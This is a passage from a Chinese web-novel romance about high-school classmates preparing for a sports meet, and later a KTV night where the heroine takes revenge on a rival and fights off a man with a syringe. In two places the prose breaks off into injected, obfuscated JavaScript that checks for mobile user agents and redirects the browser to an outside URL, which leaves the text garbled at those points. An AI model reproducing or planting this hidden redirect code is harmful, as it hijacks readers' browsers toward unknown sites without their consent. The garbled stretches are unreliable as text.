夏闲扫了眼,表上的大半项目后面都跟了名字,补习班里的人不只是死读书,什么活动都会积极参与。目前剩男子三千米、男子跳高和女子4×400米接力一人。 他都没兴趣。 温玉这会儿抄笔记、啃知识点,狂赶进度迎接三天后的月考,两耳不闻窗外事。 姜知幻在背古诗。 “好嘞。”最有空的反而是宋不辞,他边找出前天订正过的英语试卷,边接过表。 看完,他转头,晃了晃手中的表,询问姜知幻,“要参加吗?” 姜知幻抬眼,她体育不错,没有短板,索性看也没看地摆摆手,“哪里需要我,你就把我名字写哪儿。” “你打算参加什么?”她又问,这句话说出的同时,韦枫玥也在问夏闲,“夏闲,你没事吧?” 她指的是他的脸。 “没事。”夏闲专注对答案,头也不抬道。 韦枫玥点点头,看着他,没了声。 普通同学之间的对话,谁也没放在心上。 宋不辞随手拿起姜知幻桌上的一支黑笔,在表上写下她的名字,漫不经心地回:“你想让我参加哪个?” “都参加?”姜知幻笑着说。 宋不辞也笑了,“你当我是永动机呢,有使不完的劲儿?” “班长,男子项目还剩几个?”姜知幻抬头看向韦枫玥,问。 韦枫玥闻言,走到她这排来,想了想,说:“两个。” 比预料中少,姜知幻也没过问是哪两个,就慢悠悠地看了眼宋不辞,那一眼仿佛在说“两个而已,都参加吧”,又或是“就两个你还拿不下”的质疑。 “好吧。”宋不辞毫无脾气,一来太吃激将法这套了,二来拒绝不了姜知幻的任何话,即便明白她话语里开玩笑的成分居多。 他执笔,在剩下的两个项目里写下自己的名字。 姜知幻很享受被他顺从的感觉,她情不自禁地弯起唇角,低头看了眼,男子三千米和男子跳高,而后又看了眼自己所在的项目。 宋不辞的字迹飘洒秀逸,就像他人一样放纵而随性。私心认为,写得最好看的三个字是她的名字。 韦枫玥拿着报名表去办公室时,心想姜知幻和宋不辞的关系不是一般的好。 … 下午第三节是体育课,老师看出大家心浮气躁,让宋不辞带着大部队跑两圈就解散了。 “不吃咸鱼,你们来不来?”一男生抱着个限量版篮球,问。 韦枫玥给姜知幻解释,班里人知道他们仨是铁三角关系,闹着玩,起了个组合名。 幼稚。 姜知幻笑了下,“我还以为是饭店名。” 范洋跟秦六佑嘻嘻哈哈地催促,“你们赶紧的,篮球场等你们。” “好。”宋不辞说着,同温玉互看一眼,两人立马动身,各站在夏闲左右两边,把人拖扯走了。 温玉义正辞严道:“我们是一个team,你单枪匹马地走了算什么事儿。” “看你那样儿,再睡四肢都要退化了。”宋不辞补刀。 打算找个清净地儿补觉的夏闲:“……你俩改学讲相声去吧。” 冯潇潇打算练习一下运动会报名的项目,韦枫玥去向体育老师借秒表。 姜知幻和齐思站在跑道边儿看她活动身体,嘴里唱着轻快的曲调,是jay的《告白气球》,近段时间很火,温玉刷题时也哼过。 “你报的什么?”姜知幻想起来似地问了嘴,脑子里已经开始循环她唱的歌词。 亲爱的,爱上你,从那天起…… 但“甜”字未出,歌声戛然而止。 冯潇潇脸上的表情从不可置信变成心如刀割,佯装难受道,“看来你一点都不在乎我,我都知道你报了女子4×400接力,果然,真心还是错付了。” “……”姜知幻心里咯噔了下,被她这么一说,竟莫名觉得自己像个薄情寡义的负心汉。 她偏头,悄声问身旁的齐思:“她报的什么?” “三千米。”齐思也悄声回。 姜知幻恍然大悟地“噢”了声,装得有模有样,“脑子卡壳,一下没想起来,不好意思。” “晚了,除非你请我吃雪糕。”冯潇潇仰着头,一副傲娇模样。 姜知幻:“刚跑完步不建议吃雪糕。” 冯潇潇依旧仰着头,“那就晚饭后。” “好。”姜知幻哭笑不得。 韦枫玥拿着秒表回来,冯潇潇也做好热身准备。前者一声令下,后者如出膛的子弹般冲出预备线。 “哇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13902952|145538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,好快!”齐思惊讶。 姜知幻看着一直不留余力、只顾猛冲的冯潇潇,问:“她以前跑过三千米吗?” “没,不过她体力挺好的,跑完操都不会大喘气。”韦枫玥说。 姜知幻思虑着点点头,又观望了会儿。 三千米算中长跑项目,要跑七圈半,前面看重有氧耐力,后面看重冲刺速度。冯潇潇的劲头足,速度也快,但第四圈半时,她骤然掉速,跑得越来越慢了,步子肉眼可见的沉重起来。 冯潇潇咬紧牙关,呼吸急促,胸口起伏剧烈,明显在硬撑。 “她为什么突然想报三千米?”姜知幻问。 别说女生了,面对三千米,男生都要犹豫下。一般情况下,体育生应该更大概率会上战,不过补习班没有体育生,艺术生倒是有一个。 齐思知晓实情,说:“范洋说三千米不是一般人能跑的,冯潇潇肯定不行。潇潇赌气,心一横就报了。” 又是一个受不了激将法的。 姜知幻看了片刻,忽然毫无预兆地拔足,朝冯潇潇跑去。 韦枫玥和齐思都愣住了。 “欲速则不达,前期跑得再快,一旦后面慢下来很容易被人超过。”姜知幻边陪跑,边说,语速不快,“两步一呼,两步一吸,用鼻子别用嘴。潇潇,这算是你的极点,能坚持就继续坚持下去,实在不行先停下,身体最重要。” 少女清凌凌的声音如徐徐清风在耳边低语。 冯潇潇的第一反应是,原来姜知幻的声音这么好听吗?然后,她尝试照着做,尽管觉得胸口发闷,一股猛烈的疲虚感袭来,仍旧不愿停下来,哪怕步子慢得与走路的速度无异。 经过韦枫玥和齐思时,两人为她加油。 “潇潇加油!” “慢慢来,不着急的。” 体育老师闲来无事,来插了嘴,说:“这位女同学不错,身上有狠劲,运动会可以报个三千跑跑。” 韦枫玥和齐思面面相觑,说:“老师,她就是报名了三千才练习的。” “是吗?”体育老师眼睛瞪大一圈,赞赏地点点头,“不愧是补习班,自觉,哪里不会补哪里。” 没有get到他的冷幽默的两人干笑了下。 “实在坚持不住就停下,不丢人。” 这句话是姜知幻说的,冯潇潇不屑地轻笑了声,气喘吁吁地说:“难得你这么热心肠,剩下三圈怎么着也得让你陪我一起跑完。” 有一说一,她不肯停下来还有一部分原因确实是有点放不下面子,还有班里的其他人看着呢,要是半途而废被传到范洋耳中,估计又会被大做文章,嘲笑一番。 不过,这些顾虑在听到她们的安抚后就打消了。 丢不丢脸无所谓,至少,身边始终有朋友陪着。 日头正好,阳光不燥。 篮球场在室内,临近下课,宋不辞一行人提前返回操场,准备集合完再解散时,就看见跑道上慢吞吞前行的两位少女。 “我没看错吧,那是冯潇潇和幻姐?体育课不玩跑什么步?”范洋叨叨着,忽地一拍脑袋,“她不会真报三千了吧?” 秦六佑盯着姜知幻的背影,马尾一晃一晃,仿佛在挠他的心尖,“你跟冯潇潇关系那么好还不了解她?” “卧槽!不至于吧,我那特么只是开玩笑的。”范洋慌措道。 宋不辞一声不吭地转身,向小卖部走去。 “闲闲,我就说小时候那算命的没说错吧。”温玉一只手勾搭在夏闲的肩上,笑,“他这辈子啊,就是个深情种。” 夏闲懒洋洋地扒拉开他的手,说:“算命的还说你以后必受情伤,所以呀,少撩拨挑逗,小心报应来了连点法子都没有。” “不带你这么咒人的。”温玉浑不在意地笑笑。 情伤?他在娱乐圈混迹这么多年,什么妖魔鬼怪没见过,情伤这种东西,只有他给别人。 冯潇潇跑完时,脚步虚浮,腿一软差点栽倒,幸亏姜知幻手疾眼快扶住了。 韦枫玥及时按下秒表,连忙和齐思围上来,想搀她去看台坐着。 哪知冯潇潇开口的第一句话是:“多…多少秒?” “十六分半。”韦枫玥看了眼,说。 “老娘——知足了!”冯潇潇高呼,累得连走的力气都没了,甭管狼狈不狼狈,直接在足球场草地边缘四仰八叉地躺下了。 其他人被她这副模样逗笑。 “我去买运动饮料,你们可以给她按摩一下,放松放松肌肉。”姜知幻倒不累,只是脸颊有些红。 她转身,只见宋不辞拎着一袋运动饮料走过来,笑容比阳光还晃眼。 “辛苦了。”宋不辞说,挺公事公办的语气,他把袋子递给姜知幻,顺便拿出两瓶,跟她一起分发。 “我没眼花吧,宋不辞也会做人事了?”冯潇潇坐起身接过水,第一步是贴在脑门上,让冰凉的冷气降温。 宋不辞拧开手中那瓶的盖子,举动自然地递给姜知幻,回:“省点力气休息吧你。” 齐思握着水瓶,默默无声地看着姜知幻接过他手中的水。 18. Chase “知幻,我们待会儿把书放一起吧。” “……哦好。” 姜知幻看了眼清空书桌,把课本往走廊搬的同学,慢半拍反应过来,回复韦枫玥。 “车辚辚,马萧萧,行人弓箭各在腰……” “长太息以掩涕兮,哀民生之多艰……” “褒词贬用或贬词褒用,写出了巴拉巴拉或表达了作者对巴拉巴拉的态度。” … 班外的长廊,同学们背古诗词或答题技巧,寻找可放课本的位置。宋不辞也不例外,在背积累的名言金句。 “风可以吹起一张白纸,却无法吹走一只蝴蝶,因为生命的力量在于不顺从。”人声嘈杂,姜知幻独独听见他的声音,话像是贴在她耳边说的。 而后,在经过时,宋不辞顺手拿过她抱在怀里那沓书。 “考试顺利。”感觉手上一空,姜知幻转头,微抬下巴,小声道。 宋不辞低头,看了她眼,也不经意瞥见书最上方放着的答题卡,最顶上的作文格里写着“抓月亮”三个字,旁边是“55”两个红字。 是上次周考的语文答题卡。 “考试顺利。”宋不辞笑着回复,将书本放在韦枫玥找好的位置旁,完事后,他边跟姜知幻回教室,边朝她伸出手,掌心朝上,说,“学霸,分点考运?” 语气漫不经心又带玩笑意味。 姜知幻想了想,抬起左手悬停在他掌心上方,手链链条垂掉着,轻蹭掌心,触感微凉。 宋不辞的指尖小幅度地动了下。 就在姜知幻的手慢慢往下去触碰他的手时,她忽地改变主意,快速收回手,说:“想抢第一?野心不小。” 撂下这句话后,她便拿起课桌上的文具袋走人了。 宋不辞吊了下眉梢,默默放下手。 “哎,怎么没人帮我搬书呢?”旁观的温玉长吁短叹道。 “哟,力气挺大,可以参加举重比赛了。”宋不辞冷淡地瞥了眼他抱着的书,拿起课桌上的语文课本扔上去,转身离开,“刚那一趟劲都用光了,加油,看好你哦。” 温玉盯着他悠哉哉出门的背影,难得爆一次粗口,“这狗东西。” “你第一天认识他?”夏闲说着,也把自己手中的书叠上去,在对方反应过来时,脚底抹油,一溜烟跑没影了。 温玉怀里重重一沉,差点没抱稳,他勉强维持平衡,嘴角抽了下:“……” 两个狗东西,合伙玩他呢。 … 座位号是按上学期的期末成绩排,姜知幻落座在命定的位置,理科最后考室最后一个空位。 她从文具袋中摸出2B铅笔和0.5mm黑色水笔,静待铃响。 同学们陆陆续续地进门,激动的、紧张的、无所谓的、还有带零食的,一坐下就歪着身子跟旁边认识的朋友聊天,嘴里的薯片嚼吧嚼吧咽下去,问朋友要不要来点。 前面的监考老师看不下去了,让他吃点声音不大的零食。 于是那位同学自觉自愿地把薯片收起,剥开一根棒棒糖。 好几个同学偷乐,整个考场的氛围还算轻松愉快。 姜知幻手撑下巴,漠不关心地望着窗外,看树,看天,看云,感觉没记熟的知识点又在脑中轮了一遍,然后,她想起了刚才在走廊里,宋不辞说的话。 ——风可以吹起一张白纸,却无法吹走一只蝴蝶,因为生命的力量在于不顺从。 不顺从。 已经不知道这三个字在心里重复了第几遍时,姜知幻听见铃声响了。 语文难度大,考完所有人都在哀声道怨,骂出题老师不做人。姜知幻在文言文阅读上卡壳了下,其他还好,路过博雅楼大厅的建议墙时,她看了眼。 ——开幕式举办烟花秀! ——让温玉唱首歌 ——每班资助两箱水 同学们的建议层出不穷,姜知幻的兴致起来了,撕下一张便签纸,在上面写下一行字。 ——想看帅哥美女跳舞。 - 月考结束,国庆假期接踵而至。 照例江城港都两头跑,拜访老人家。这次傅凌杰和周知敏的态度缓和了许多,虽然依然没让夫妻俩进家门,不过也没说什么风凉话。临走前,傅凌杰还温声叮嘱姜知幻要听话。 这是傅凌杰的常用招式,无论每次吵得多凶,关系闹得多僵,事后没两天,他便还是那副不言苟笑的严肃样儿,只有面对外孙女时会露出柔软的一面。 对姜知幻来说,还不如打她一顿来得痛快。 至于外公外婆,据说两人去国外办事了。 从港都离开,一家人回了京城。 姜陆予打算在这边扩展产业,估计会住下两个月,傅琳一如既往地忙,上次合作谈成便一直在改稿,一周有五天都在办公室过的夜。 陈百臻三番两次想找姜知幻谈谈,都被她以各种借口搪塞了。姜知幻花两天时间做完作业,彼时假期已过一半。 她打开微.信,宋不辞发了张照片,内容是从江城到京城的机票,看看时间,已经落地四小时了。 姜知幻喜笑颜开,正要打电话过去,乔寻的电话先进来了。 乔寻父亲是搞房地产的,在京城的地位不容小觑,而母亲现任京城寻心影视有限公司执行董事,在网络上被称为“娱乐圈女魔头”,她眼光毒辣,看上的新人一签一个火,也是京城名门贵族中,为数不多跟姜陆予见过面的人。 所以乔寻一开始接近姜知幻,就是带着母亲的命令。不过两个少女机灵也心知肚明,清楚她们之间的关系里利益成分占比更多,由此,从不做出越界和损失两家利益的事,也不像其他人那样阿谀奉承地缠着对方,偏要彰显一下我们关系特好。 这也是姜知幻会搭理她的主要原因。 两人之所以没玩到一块儿去,很大一部分原因是玩法不合,乔寻比她大两岁,乐于享受纸醉金迷、花天酒地,最爱去夜场KTV点男模,遇到有兴趣的就包养,玩腻了就换人。 相比之下,姜知幻的爱好更平静,爬山、画稿、建模、调酒……当然也有不那么平静的,比如山地越野、自由潜水、高空定点跳伞。 乔寻以前吐槽她的爱好太极端,要么稀松平常地活着,要么魂飞魄荡地一了百了。 姜知幻接通电话。 “喂,姜大小姐,干嘛呢?” 动感音乐的bgm中,隐约听见有男人叫了声“姐姐”,然后是乔寻的笑声。不过这些驳杂声很快便消散了,应该是换了个安静的地方。 “刚写完作业,你呢?”姜知幻心情不错,有闲心跟她聊下去。 “我不就那点喜好,最近乌托邦也不招点新人,换来换去就那几张脸,越看越没劲儿。”乔寻抱怨完,问,“我听说你回京城了,怎么也不来个信?你爸打算来这边儿扩展了?” 这圈子说大不大,说小不小,又处于网络发达的时代。但凡有点风声透出,无胫而走。 不知道回京城那天是被谁看见了。 “嗯。”两家有生意来往,关系不错,姜知幻没瞒着。 她开了免提,把手机搁置在书桌上,一边翻看以前画过的稿子,一边心不在焉地笑了声,说:“越看越没劲儿?刚才人家叫你姐姐时,你不笑得挺开心吗?” “弟弟叫得确实甜嘛,你要过来玩吗?”乔寻说,“史剑也在。” 姜知幻毫不犹豫地回:“他在你还问。” 她跟史剑打起来那天,乔寻在场,也是最了解两人恩怨的人。当时乔寻拼了命地拦都不住姜知幻这疯狗,路人心惊胆战地拨出报警电话。 “你说你,那么聪明一人,能想到打击报复他的方法有很多,干嘛非得冲动动手。”一提起来,乔寻就忍不住摆出姐姐的架势数落她。 这事儿也给乔寻带去些麻烦,姜知幻自知理亏,老老实实地挨训。 “自从你转学后,他那张嘴又开始了。我叫你来是想让你看看,成年人是怎么解决问题的。”乔寻说着,突然话锋一转,“哟吼,三点钟方向有帅哥!那脸蛋,那身材,不错不错,屁股也翘,堪称极品呀。” 姜知幻隔着屏幕都能想象出她笑得花枝乱颤的场面,她无语至极,说:“慢慢撩你的极品去吧,我收拾收拾,半小时后到。” “好好好,不说了亲爱的,这个极品我势必收入囊中!”乔寻兴致勃勃地挂断电话。 - 宋不辞在清水居待了三天,徐情明令禁止他不准出门,好好上课。因此,彪叔也没法睁一只眼闭一只眼放人。 彪叔本名卓彪,是目前看守宋不辞的保镖。在给宋理枝收拾完烂摊子的那晚,宋不辞跟卓彪做了个交易,他首先用一套晓之以情动之以理的说辞没打动彪叔,于是改变战术,加报酬。 没有人会跟钱过不去。 但卓彪不为所动,只客气地说:“少爷,快回去吧。” 宋不辞不死心,使出浑身解数,嘴都说干了,对方还是跟座钟一样坐着,庄严又肃穆。 他喝了口水,随嘴抛出一句:“如果你的孩子整天都在监视下长大,你能忍受吗?” 卓彪垂着的眼皮抬起,沉沉地看着他,那目光里的复杂情绪发人深思。 宋不辞心一喜,知道该往什么方向进攻了。 自那晚以后,两人达成协议。 带姜知幻去江景房那天,便是卓彪帮他打了掩护,向徐情禀报的是:“少爷去理枝少爷家了。” 宋理枝在徐情面前表现乖,嘴也甜,加上从未跌出过年级第一,所以徐情对他的印象很好,也更信任他。 这倒是给了宋不辞钻空子的机会,宋理枝可比卓彪好说服多了。 假期第四天,因京城一位重要合伙人的儿子过生,徐情把宋不辞捎上了,他儿子非常喜欢跟他玩。 这是宋不辞从小就要锤炼出的处事能力,与这些人的子女好好相处,从而有助于巩固长辈间的利益关系,徐情也能进一步扩大自己的事业。 大人们聊的事儿涉及工作,孩子们不感兴趣,就让他们自己找地方玩开心。 这种情况不便于让保镖跟随,宋不辞临走时,徐情给了他一记眼神,意思是没人看住你就更要本分点,别整出什么幺蛾子。 宋不辞若无其事地耸耸肩,跟着孙百川上了他的车。 今天过生的是孙百川小一岁的弟弟,孙百河,满十八岁。 兄弟俩脾气爆,从小不对付,可以说是今天你打我一顿,明天我告你两状。所以和孙百川沾点关系的人,孙百河都一视同仁不给好脸色,偏偏对宋不辞的好感度只增不减,明明比他大两岁,见面后却一口一个“不辞哥”叫。 孙百川听着都闹心。 别的不说,宋不辞这厮挺受小孩喜欢。 “不辞哥,宋理枝怎么没来?”孙百河扒拉着副驾驶座的椅背,问。 “他有事,让我代他跟你说一句生日快乐。”宋不辞看了眼手机,说,“你跟他一见面就呛嘴,怎么突然问起来了,想他了?” “谁想他啊,爆竹脾气一点就炸,也就你能忍受他。”孙百河发牢骚道。 孙百川斜他一眼,“好好坐着。” “你就是看不惯我跟不辞哥亲近!”孙百河不服气地大吼,人倒是老实端正坐姿。 “嘿,你个小兔崽子,怎么跟你哥说话呢?一个月不见脾气见长了是吧?”孙百川嘴比脑快,“我怎么就有你这么个傻逼玩意儿弟弟,你看看宋理枝,人跟他哥顶嘴吗?” “说事儿就说事儿,别骂人啊。”宋不辞笑着打圆场,“再说了,你俩闹矛盾别牵扯出第三方,老跟其他人比较干什么?” 孙百河义愤填膺道:“就是!每次都拿我跟宋理枝比,你要是喜欢,让他给你当弟弟啊,反正我这辈子就认不辞哥这一个哥。” “闭嘴,没人当你是哑巴。”孙百川后知后觉刚才说的话确实有些过分,懒得说话了,言多必失。 好歹是小鬼头生日,开心最重要。他忍。 到达乌托邦,孙百川和他的朋友先进了包房。孙百川与宋不辞慢悠悠跟在后面。 这夜场KTV的老板是孙百川,要不然宋不辞还进不来。 “还好你没长一张娃娃脸,打扮打扮后看起来挺男人,不然第二天那群孙子得传我拐卖未成年少年。”孙百川开玩笑道。 “这么听着,你还挺有道德。” “靠,我经营的是正经酒吧,卖艺不卖身。”孙百川想了想,补充,“当然,出了这个店我可管不着。” “是吗。”陈述语气,疑问句式。 宋不辞今晚特地穿得正式成熟,刘海全撩上去了,露出额头眉眼,靠着一米八二的身高撑气势。他身型清瘦,加上剪裁得体的高定西装,更加显高,站在一米八八的孙百川身旁也毫不逊色。 白衬衫领口微敞,露出一截白皙平直的锁骨。在迷离暗昧的氛围衬托下,单单站在那儿就莫名勾人。 “帅哥,你好啊。” 乔寻拍拍宋不辞的肩,在对方转过身时,她立马两眼放光。 长得太他爹对胃口了,像这种,她包一年都不觉得腻。 宋不辞还在看手机,闻言,不紧不慢地掀起眼皮,瞧着乔寻,没说话,只用眼神询问,有事? 孙百川打量她须臾,认出是那个经常光顾店里、喜欢包养小白脸的美女富婆,乔家最纨绔的大小姐乔寻。 他用手肘捣了捣宋不辞的手臂,“人家看上你了。” 宋不辞瞥他,正经酒吧? 这种看垃圾一样的冷淡眼神,带劲。 乔寻心猿意马,既然来意被说出,她也不磨叽,风情万种地撩了下头发,单刀直入道:“宝贝儿,来130包间陪姐姐玩玩?” “抱歉啊姐姐。”朦胧模糊的光线中,宋不辞笑了下,冷淡腔调里掺杂些许吊儿郎当的痞,他说,“我还没成年。” 乔寻唰地一下变了脸色,她再贪色也是有原则的,未成年一个不碰。 “哎,弟弟你好好学习天天向上,少来这种地方。”乔寻语气可惜地叹了口气,多嘴叮嘱了句便灰溜溜地回包房了。 孙百川看乐子道:“来这种场合你得放开,被乔大小姐看上,你不亏。” “滚啊,自己想放开直说。”宋不辞瞄了眼手机,继而一步不停地往前走。 “关键人也没看上我啊。”孙百川迈开长腿,快速赶上,“从见面到现在,你看手机的次数少说也有十几次了吧,哪个小妖精把你迷住了?” “你。”宋不辞冷不丁地吐出一个字。 孙百川骂骂咧咧地跟他进了包房。 走廊拐角处,一道瘦削高挑的身影出现。 黑粉色哥特风吊带背心,粉色低腰工装裤,露出一截纤细腰线。姜知幻特意将长发挽起,绑成丸子头,选了鞋底比较凹凸不平的鞋子。万一没忍住动手,踹他几脚也能踹得疼点。 前台都知道她和乔寻的关系,秉着多一事不如少一事的态度,没拦。 姜知幻推门而入,行事如风。 包房里的熟人不少,但她只扫了眼正在摇骰子的乔寻,她周围的男模已经被打发走了。 姜知幻挑了个空位坐下,这才从容地看向对面、被几个富二代簇拥着的史剑。 她红唇轻勾,“好久不见,听说你很想我?” 大家面面相看,全场只有骰子碰撞发出的清脆声响。 史剑没来由地感觉脑袋隐隐作痛,静默半晌,他咳嗽两声,清了清嗓说:“在座的谁不想姜大小姐,好歹也是曾经称霸十一校的校花。” “呵。”姜知幻轻笑,不理睬他的插科打诨,看一眼乔寻手中的东西,问,“玩的什么,猜大小还是七八九?” “还没开始呢,就等你了。”乔寻看着她,目光透露着赞许,好似在说沉住气了,很好。 “……”姜知幻扫视所有人,问,“那玩七八九?” 无人反驳。 史剑在玩骰子这方面算是老手,说:“既然要玩就别赖酒。” 这话暗指的谁,大家心照不宣。 在场只有姜知幻一个人是未成年。 “当然。”姜知幻浅笑盈盈道。 气氛到这,还算平和。 这种场所,姜知幻出入的次数不多,但她学习能力强,运气也不错。几轮下来只摇到一次9点,1点三次,其他点数若干。 上天都在眷顾她这个新手。 再次摇到1点,姜知幻看了眼史剑,连话都不用说,后者就明白自己又要喝了。 他已经喝得酩酊大醉,脑袋晕乎乎的,酒杯都端不稳,洋相百出。 所有人都闹开了,情绪高涨,场面一片嬉笑混乱,有人大着胆子灌他。 “怎么样?这种报复比打他更有意思吧。”乔寻看戏看得津津有味。 姜知幻不否认,“还行。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13948344|145538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 史剑撑不住了,由两个朋友搀扶着去厕所吐。 “你那个势在必得的极品呢?”姜知幻想起来似地问。 乔寻一听,顿时痛心疾首道:“呜呜呜极品弟弟还未成年。” 姜知幻乐了,给她出馊主意:“你先把联系方式要到,等他成年了再包也不迟。” “得了吧,那极品弟弟应该不缺钱。”乔寻靠近她,说,“你记得孙百川吧?” “有点耳熟。”姜知幻仔细回忆了下,一时半会儿名字对不上脸。 “就是这家店的老板,家大业大,人也聪明,知道我俩经常一起混,所以让前台别拦着你,不像某些人拎不清,明里暗里都得挑衅一番。”乔寻说。 “不过亲爱的,你们一家人都太低调了,有些人觉得阿姨不过是个有名的建筑师,叔叔更别提了,什么杂七杂八的职业都能编造出来。” 姜知幻浑不在意,“一堆头衔罢了,犯不着大张旗鼓,也有人知道不是吗。” “说的也是。”乔寻跟她碰了个杯。 姜知幻喝了口酒,问:“叔叔阿姨最近怎么样?” “我爸出差,也不知道见哪个小情人去了。”乔寻说,“我妈最近看上了一个混血妹妹,跟你同龄来着。不过妹妹背景不一般,暂时没有进娱乐圈的意愿,估计签不了。” “但不得不说,我妈眼光是真好,那妹妹长得是真漂亮,这要是签了,娱乐圈独一份的气质和颜值啊。”乔寻知道她喜欢看帅哥美女,连忙掏出包里的手机找照片。 裤兜里的手机震动,姜知幻摸出,看清来电人后起身,对她说了句:“我出去接个电话。” … 姜知幻找了个安静的地方接通电话。 “姜知幻?”宋不辞声音低而慵懒。 他站在走廊左端尽头,目视前方不远处背靠墙,垂头,无所事事地盯着地板上变幻莫测的彩光的少女。 是她,但与在学校的穿搭风格截然不同。 漂亮依旧,也更带感。 宋不辞有些失神,然后,耳边响起她的声音:“怎么了?” “你在哪儿?”他忽然起了逗弄的心思,明知故问。 “在……”回答这个问题时,少女抬头,盯着前方。不过半秒,她偏头,嘴唇贴近手机听筒处,语气温和,“待会给你打回来。” 宋不辞放下手机,望着她。 姜知幻站的地方处于分叉口,前左右都能走。她看着迎面过来的男人,卷毛,耳朵上夹着根烟,肩上挎着个黑包,右手臂有大面积纹身,线条凌乱,张牙舞爪,跟鬼画符似的,没看出来纹的是个啥东西。 待走近了,卷毛目光贪婪地盯着她,嬉皮笑脸道,“姜大美女,还记得我吗?我这个长相,想忘记应该很难吧。” 姜知幻受不了这种迷之自信的发言,摇头道:“抱歉,我只记长得好看的。” “你这么说话可太伤人心了。”卷毛捂住小心脏,失落道,“上次你打史剑时我还在旁边为你加油呢。” 姜知幻微眯眼,在他的提醒下,绞尽脑汁回想,终于在犄角旮旯处翻找出关于这人的记忆片段。 她揍史剑时,拉住她的人很多,其中有一个借拦架之由摸她腰的男人,貌似就是个卷毛。 “原来是你啊。”姜知幻笑出声,“怎么,嫌上次我踢你的那一脚不够狠?” 史剑当时骂的话,卷毛可听进去了,估摸姜知幻家庭背景跟他差不多。再则,如果史剑说的不是事实,那姜知幻为什么那么生气? 这个圈子里的女人都虚荣,一旦被揭穿了比扒掉一层皮还难受。 不过这个圈子里,姜知幻无疑是最优越的那个妞,身材脸蛋应有尽有。 姜知幻默不作声地盯着他的手和包,感觉这人的状态有点不对劲儿。 “一脚而已,摸一把你的腰也算值了。有人跟你说过吗?你的腰又软又滑,手感棒极了。”卷毛龇牙咧嘴,笑得疯狂,他说着,忽地从包里摸出一支注射器,但没立马扎向姜知幻,反而期待地看着她。 “想从我脸上看到害怕的表情?”姜知幻太了解心理变态的内心活动了,她清冷锋利的眼眸蓦然弯成月牙,一抬一敛都像在撩人心弦,美得深刻。 卷毛吞咽口水,愣了下神。 不等他反应,姜知幻猛地抬脚,用全力朝他腹部踹去,动作干净利落,毫不拖泥带水。 这双精心挑选的鞋子,今晚算是没白穿。 手里的注射器掉落,卷毛蜷缩在地上,吃疼得发不出一个完整的音节。他捂着腹部,嘴里支支吾吾地、一个字一个字地蹦出。 姜知幻慢步走近,听了片刻,总算是明白他在说什么了。 “臭婊子,你妈也是婊子,抄袭狗。” 姜知幻脸上笑意全无,神情愈发凝重,眼神也逐渐变得阴郁,带着戾气。 “这种人渣,留在社会上也是有毒垃圾。” 时隔许久,未知生物又开口了。 “杀了他。” “撕烂他的嘴。” “或者废掉他的手。” “傅女士能忍受这些毫无根据的谣言吗?” “她听到这些也会伤心,你这是在帮她解决问题。” “别违背本心,想做什么就做。” 未知生物的声音诡异,含着森森寒意,轻声细语的低吟充满强烈的煽动性。 关键地上的卷毛还在嚎叫:“创作不出新作品就找枪手……” 姜知幻脑中某根紧绷的神经瞬间断了,未知生物的话就像误入清水中的一滴墨,以无法控制的速度在扩散。 她缓缓抬脚,啪地一下踩住卷毛的左手,狠狠蹂.躏又蹂.躏,伴随他的痛呼,她开口:“就是像你这种没脑子的人去当了网络喷子,恶意编排、诽谤、传播,把一个个好生生的人差点逼上绝路。” 可笑的是,那些参与网络暴力的人在事后还能完美隐身。 “毒虫吗?”宋不辞从内侧口袋掏出一张手帕,小心翼翼地捡起地上的注射器,妥帖包裹。 余光瞥见有人靠近,姜知幻注意力被分散,扭头,下一秒,心头慌乱,脚上顿时散力。 她疑惑,“你怎么在这儿?” 卷毛乘机要爬起来。 “朋友的弟弟过生。”宋不辞没给他机会,以迅雷不及掩耳之势踩住他的左手,微低头,睥睨他一眼,边说,脚上边多用力两分,“躺好,手不想要了?” 连着两次受创,卷毛痛得快没知觉,彻底老实了。 “没事儿?”宋不辞看向姜知幻,问。 姜知幻轻拧着眉,别开头望其他地方,没说话。 “原来你怕他知道你的真面目。” 未知生物戳穿道。 宋不辞看了她一会儿,划开手机,拨了电话。 “出门左转,直走到尽头,这儿有个神经病。” … 宋不辞找了个空包间,让姜知幻先进去坐坐,怕卷毛狗嘴里吐不出象牙,又口出狂言激怒她。 等了五六分钟,孙百川到了,脸上还沾着奶油。 “你干嘛呢,在外面透气透了十几分钟,小鬼头蛋糕都切好了。”孙百川絮絮叨叨,顺着宋不辞的视线,这才注意地上躺着个人。 宋不辞挪开脚,说明情况后,孙百川把卷毛和注射器带走了,离开时还嘀咕:“这要真是个毒虫可就麻烦了。” “百川哥,111包间我用一会儿,你待会记得跟前台说一声。” 这小子只有在求他时会叫声哥。 孙百川押着卷毛,正训人呢,闻言没多想,摆摆手回了句:“随便用。” 宋不辞转身,头也不回地进了111包间。 整个空间静寂无声,两人四目相对,一时无言。 姜知幻坐在沙发扶手上,抱臂,盯着他的领口,终究是没忍住,质问:“你怎么进来的?” “好问题。”宋不辞走到她两腿之间,垂眸看着,眼神似乎在说“我也想问你”。 姜知幻揪住宋不辞的领口,往下拽,后者配合地弯腰。她沉默地将扣子一颗一颗扣好,拧着的眉头这才松开。 “占有欲这么强?”宋不辞笑道。 姜知幻点头,面无表情地丢出一句话,不容置疑的口吻:“受不了就赶紧走。” “走哪儿去?”宋不辞偏头,贴在她耳边说,“一下飞机就想见的人现在坐在面前,我走哪儿去?” 